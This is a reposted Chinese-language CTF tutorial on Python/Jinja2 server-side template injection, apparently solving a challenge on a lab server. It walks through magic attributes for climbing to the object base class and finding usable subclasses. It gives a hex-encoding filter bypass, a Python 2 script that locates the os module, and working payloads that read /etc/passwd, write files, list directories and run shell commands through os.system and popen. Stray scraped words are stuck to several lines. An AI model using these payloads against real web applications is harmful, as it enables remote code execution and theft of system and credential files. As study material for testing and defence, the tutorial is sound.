Python模塊注入-SSTI

python模塊注入-SSTI

  1. 打開頁面(看到python template injection應該是python模塊注入)

  1. 測試一下http://111.200.241.244:61392/{{3*4}}

發現成功運行告終果(固然加法,除法都同樣,主要判斷能不能執行咱們的代碼語句)html

  • 在這裏我先介紹一下幾種經常使用於SSTI的魔術方法
__class__  返回類型所屬的對象
__mro__    返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__   返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的
 
__subclasses__   每一個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__  類的初始化方法
__globals__  對包含函數全局變量的字典的引用
__builtins__ builtins便是引用,Python程序一旦啓動,它就會在程序員所寫的代碼沒有運行以前就已經被加載到內存中了,而對於builtins卻不用導入,它在任何模塊都直接可見,因此能夠直接調用引用的模塊
  • 獲取基類的幾種方法python

    [].__class__.__base__
    ''.__class__.__mro__[2]
    ().__class__.__base__
    {}.__class__.__base__
    request.__class__.__mro__[8]   //針對jinjia2/flask爲[9]適用
    或者
    [].__class__.__bases__[0]       //其餘的相似
    
    **注意:若是._'這些被過濾了,能夠用16進制編碼繞過!!!**
    例如:{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}
    特別注意用16進制編碼以後裏面要加"
  • 獲取基本類的子類程序員

    [].__class__.__base__.__subclasses__()
  1. 咱們嘗試獲取基類(發現一個爲 ‘object’ 的類)

  1. 咱們嘗試基類的子類

SSTI的主要目的就是從這麼多子類中找出能夠利用的類(通常是指讀寫文件的類)加以利用web

那麼咱們能利用的類有哪些呢?shell

咱們能夠利用的方法有<type 'file'>等,(通常file在第40號)flask

  1. 咱們嘗試讀取/etc/passwd文件函數

    {{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

上面的例子看到咱們用 file 讀取了/etc/passwd ,可是若是想要讀取目錄怎麼辦測試

那麼咱們能夠尋找萬能的os模塊(這裏能夠寫腳本遍歷尋找,也能夠本身慢慢數,通常大概71號,或者能夠Ctrl+F在網頁搜索 '<' ,由於是從0開始,因此大概第72個就是)ui

#!/usr/bin/env python
# encoding: utf-8

num = 0

for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print num,item
         num+=1
    except:
        print '-'
        num+=1	
        
//這是腳本

找到這個對應的編號就對了編碼

  1. 而後咱們直接調用就好,能夠調用system函數,有了shell其餘問題就解決了

    ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

    固然,在某些狀況下system函數會被過濾,這時候也能夠採用os模塊的 listdir 函數來讀取目錄。(能夠配合file來實現文件讀取)

    ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #讀取本級目錄

    另外在某些不得以的狀況下可使用如下方式來讀取文件。(目前沒見過這種狀況)

    方法一:

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改成 write() 就是寫文件

    方法二:

    存在的子模塊能夠經過.index()方式來查詢

    >>>''.__class__.__mro__[2].__subclasses__().index(file)
    40       //查詢結果40

    用file模塊來查詢

    >>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
  • 如下是很是經常使用的payload:

    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()
    
    
    ''.__class__.__mro__[2].__subclasses__()       [71].__init__.__globals__['os'].system('ls')
    
    
    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

文章引用:

http://www.javashuo.com/article/p-ccoporai-ws.html

相關文章
相關標籤/搜索